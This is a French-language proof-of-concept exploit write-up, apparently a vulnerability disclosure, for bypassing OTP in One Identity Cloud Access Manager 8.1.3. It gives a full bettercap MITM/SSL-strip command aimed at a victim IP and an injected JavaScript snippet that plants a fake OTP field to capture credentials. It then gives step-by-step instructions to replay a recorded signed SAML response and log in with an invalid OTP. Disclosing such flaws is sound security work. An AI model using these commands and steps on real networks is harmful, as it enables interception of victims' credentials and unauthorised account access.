Proof-of-concept exploit démontrant OTP bypass dans One Identity Cloud Access Manager 8.1.3 via MITM/SSL-strip, SAML response replay, et injected JavaScript pour capturer credentials.
Pour exploiter la vulnérabilité de contournement OTP, un attaquant utilise une vulnérabilité précédemment découverte de MITM/SSL-Strip , . Un attaquant mène une attaque MITM / SSL strip à l'aide de laquelle il peut injecter une zone de texte OTP dans la page web servie à la victime. Une victime partage son nom d'utilisateur, mot de passe et OTP généré par une application appelée defender (qui appartient au même fournisseur). L'attaquant intercepte le nom d'utilisateur, le mot de passe et l'OTP, puis tente d'accéder à l'application via un flux légitime. Après avoir saisi le nom d'utilisateur et le mot de passe (qui ont été volés), l'attaquant saisit l'OTP volé sur la page suivante. Lors de la soumission de la demande sur la page OTP, la réponse SAML signée est enregistrée. Maintenant, même si l'attaquant n'a pas accès à l'application qui génère l'OTP, il peut saisir un OTP invalide pour les transactions suivantes et, pendant que l'application invalide l'OTP, l'attaquant peut remplacer la réponse SAML échouée par la réponse SAML légitime obtenue précédemment, et l'application ne parvient pas à effectuer une vérification d'intégrité et connecte l'attaquant.
(1) La première étape de l'attaque consiste à mener une attaque MITM/SSL-Strip, qui est décrite dans : CVE-2019-13498 , et est également spécifiée ci-dessous :
La commande bettercap utilisée est :
bettercap -T 192.168.1.103 --proxy -P post --proxy-module injectjs --js-file inject_js.js
Ici, 192.168.1.103 est l'adresse IP de la victime. Si nous ne la connaissons pas, nous pouvons utiliser bettercap pour renifler et manipuler le contenu de tout le LAN (réseau commun de l'attaquant et de la victime).
Le contenu de inject_js.js est donné ci-dessous
root@kitploit:~
<script>
function replace_payload()
{
var append_str='<div class="wrap-input100 validate-input m-b-20" data-validate="Password"><input class="cui-textbox" type="password" id="passwordTextbox" name="passwordTextbox"><span class="focus-cui-textbox" data-placeholder="OTP"></span></div>';
var text_div=$(".m-b-20");
text_div.append(append_str);
}
function control(){setTimeout(replace_payload,2000);} control();
</script>
Maintenant, lorsque la victime navigue sur le produit (Cloud access manager), en raison de l'empoisonnement du cache et du SSL strip (Bettercap), une zone de texte OTP sera injectée dans la page servie à la victime via l'extrait JavaScript injecté
Étant donné que la connexion est rétrogradée en HTTP via ssl-strip, tout le trafic est désormais visible pour l'attaquant. Ainsi, nous pouvons intercepter le trafic et voir le nom d'utilisateur, le mot de passe et l'OTP soumis par la victime.
Maintenant, supposons que nous nous sommes connectés une fois avec les identifiants enregistrés et que nous avons sauvegardé toutes les demandes et réponses valides.
Dans cette section, nous allons apprendre comment utiliser la réponse OTP précédemment enregistrée pour contourner la validation OTP, ce qui nous permettra de nous connecter à l'application.
Saisissons un OTP invalide comme indiqué ci-dessous :
Ci-dessous est montrée la réponse qui échoue à la validation OTP.
Remplacez la réponse échouée par la réponse légitime précédemment enregistrée.
Ci-dessous est montrée la réponse SAML qui échoue à la validation OTP.
Remplacez la réponse échouée par la réponse SAML légitime précédemment enregistrée.
Bingo, l'application nous connecte. Idéalement, elle aurait dû effectuer une vérification d'intégrité et prendre en compte que l'OTP a expiré.